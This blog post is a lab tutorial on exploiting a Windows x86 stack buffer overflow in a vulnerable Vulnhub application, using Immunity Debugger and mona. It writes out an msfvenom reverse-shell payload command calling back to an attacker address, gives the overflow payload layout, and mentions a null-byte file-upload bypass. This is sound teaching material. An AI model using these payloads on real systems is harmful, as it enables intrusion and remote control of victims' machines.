Windows x86 Buffer Overflow
- by Vince
-
in Blog
-
Hits: 2515
The first time I popped MS08-067 with Metasploit, I thought that was hacking. And then I modified some exploit code I found on Exploit-db, popped a box, and I thought that was hacking. In my current frame of reference, when I perform a buffer overflow, I get that feeling like I'm really hacking.
So what is a buffer overflow? Imagine you have a machine that dispenses soda into a can. The can moves under the nozzle, the machine dispenses the right amount of soda to fit into the can, and the next can moves underneath the nozzle. Now imagine that someone comes along with a hose and fills the can prior to it arriving underneath the nozzle. When the machine dispenses the soda, the can overflows. We have a design flaw. The maker of the machine didn't anticipate that someone would come along and add liquid to the can prior to it arriving underneath the nozzle.
Now imagine a login prompt and when the designer created it, they didn't anticipate that someone would enter 3500 A's into the username field. Like the soda can, the application overflows. That's my best analogy. :\
In the process of abusing this login, what if we could somehow control the crash and insert malicious code into the equation? That's exactly what we're going to do!
When I first learned to perform buffer overflows, I wrote down a set of steps that aided me while going through the process. Once you go through an actual exploit scenario, the instructions make a bit more sense. I'm just adding them here in the beginning as a way of passing along what worked for me.
01. Fuzz to get an approximate crash byte count.
02. Use pattern_create to create a unique string of characters greater than the estimated crash length.
03. Send the unique string to the application, causing it to crash, and then note the value for EIP.
04. Use pattern_offset to determine the exact crash byte count.
05. Send the bad characters string to the application and "follow in dump" on ESP to determine which characters should be excluded from our script.
06. When we're writing our script, we're going to pad 4 bytes for the JMP ESP address which we'll determine later.
07. Re-run the above script for bad characters until we've removed all of them which we'll then exclude from our final version with the shell code.
09. Use !mona modules to determine which module is not using DEP and ASLR, which also does not contain bad characters.
09. Once we've isolated our module, go to the executable module list, locate the module, double click the module, right click, "search for", "command": JMP ESP
10. When we modify our script, the address is reversed. For example, 311712f3 appears as: \xf3\x12\x17\x32
11. Generate shell code with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.86.99 LPORT=443 -f c -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai
12. When creating our final version of the shellcode, we provide A* the byte count, the address for JMP ESP in reverse, we need to pad with 16 NOPs, and finally, our shell code. We end up with:
("A"*524 + "\xf3\x12\x17\x31" + "\x90" *16 + shellcode + '\r\n')
Let's start from the beginning.
We scan a server with Nmap:
In our enumeration process, we see this strange response on port 9999.
When we investigate:
We find this primitive looking UI and it's prompting for a password. We enter a small string of A's, we're denied access, and we end up back at the command line.
When we look at this from the victim's point of view, we see:
Our string of A's accepted without incident.
Moving back to the attacking machine, what happens if we feed it a really long string of A's?
It hangs. But when we look on the victim's side:
We see that we've caused an issue. And then eventually:
The application crashes.
This is a big topic and entire books have been written on the subject. I can't do that. I have to assume you can figure out how to install Immunity Debugger, you can add Mona Modules, you can script up a little bit of Python, and you can fill in some of the blanks. If not, you'll get there and you can circle back on this post for a hands-on walk through at a later date.
With Immunity, we can either attach to an existing application or we can select it from the previous list and Immunity will start the application for us. I do both in this post but I'll start off with the Attach function:
When we select Attach, Immunity brings up the list of running applications. If we sort by Name, our exe comes up.
I'm intentionally not calling this application by name because this is part of a vulnerable machine on Vulnhub. If you search this site, you can find the complete write-up but this walk through on the buffer overflow portion is probably a little more detailed than that post.
I've chosen this application specifically because it's simple and also because it works on Windows 7. A few of the other easier overflows work only on XP due to enhanced security features present on Windows 7.
Moving on...
When our application is loaded, notice in the bottom right, Immunity has the application paused. We need to push the play button to run the application:
When we push play:
We now see that our application is running.
Our first script is simple:
We are going to send the application 100 A's and we increase the amount by 100 until the application crashes.
When we execute our script:
The Fuzzing count stops.
When we look at Immunity:
In the upper right, we see that it's receiving the A's. On the bottom bar, we see that we've caused it to crash and Immunity pauses the application. Based on the output from our script, the application crashed under 700 bytes. We need to know the exact count though. In order to do this, we're going to use pattern_create:
This creates a unique string of 1000 bytes.
We modify our script:
Instead of looping through A's, this time, we're feeding it one long string.
When we execute our script, we head over to Immunity:
We see our unique string in the upper right and we also see that access violation message again. Take note of the EIP value because this is how we're going to learn the exact byte count.
Moving to pattern_offset:
We provide is the EIP value and after a moment or so, we learn that our crash happens at exactly 524 bytes.
Next thing we need to do is determine which characters this application does NOT like. For example, 00 is a null byte which will stop an application. If you've ever hacked an image upload form with the following: shell.php%00.jpg
That's basically the same thing. When the image upload application reads the above filename, it sees .jpg but PHP sees that null byte, %00, and what gets uploaded is: shell.php
When we're generating our shell code, we want to make sure that we're not using characters that our application will react to in a way that prevents us from achieving our goal.
I've already excluded 00.
We modify our script once more this time including a string of potential bad characters:
We're going to feed it 524 A's, we're going to pad the application with 4 B's which is a place holder for something we haven't discussed yet, and we're going to send over a list of potential bad characters.
We execute our script and we head over to Immunity:
We highlight ESP, right click and select Follow in Dump:
In the bottom left corner, we see the end of our string of A's. Following that, we see the sequence of potential bad characters. We what we want to do here is to go through the sequence -- making sure that everything flows smoothly. Unfortunately, 00 is the only bad characters with this application. However, using another application as a better example:
When we look at the sequence following the A's, we see: 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A. So far so good. Continuing on the next line, we see: 0B, 0C, and then 0A followed by a bunch of 00's. At the very least, 0D is a bad character. 0D is a carriage return. If this were the current project, we we remove 0D from the bad characters list and we would re-run the script again to see if anything else showed up. If that were the only other bad character, we'd jot that down for exclusion and we'd move on.
With all of the bad characters identified, we're now looking for a module without protection.
At the bottom of Immunity:
We execute !mona modules:
Looking through our list, we want to identify a module that shows False for DEP and ASLR. With only one option, the choice is obvious. We highlight the module and we select the e (executables module list):
We then double click on our module and we're presented with:
In the upper left pane, we right click and select Search for and Command:
In the command search, we enter: JMP ESP
When the search is complete, take note of the address, in this case: 311712F3
Our puzzle is almost complete.
We need to create shell code to do "something".
Using msfvenom:
Assuming all goes well. When the application crashes, our shell code should take over and launch the calculator on the victim's machine.
Modifying our script:
We execute the script and when we look at our victim's machine, we see the following:
And you're thinking -- how boring.
Fine, let's fire up msfvenom once more. This time, we'll create shell code for a reverse shell:
Modifying our script:
When we execute, we look at our victim's machine:
We see that something happened.
With our handler setup on our attacking machine:
We see that we've caught a reverse shell.
That's pretty much the end.
One thing I'd like to point out is that the way I've walked through this buffer overflow process is essentially how it was taught to me..
A few steps can be cut out of this process when we're searching for JMP ESP if we execute the following:
We go straight to what we want. I don't know why the other steps were taught and perhaps I'll learn that at a later date. But for now, we can cut out a few steps by going this route.
As a final thought, in the search above, I'm searching for \xff\xe4 which is the same thing as JMP ESP. We know this because:
"This tool provides an easy way to see what opcodes are associated with certain x86 instructions."
Buffer overflow is an enormous subject and I hope I did it justice.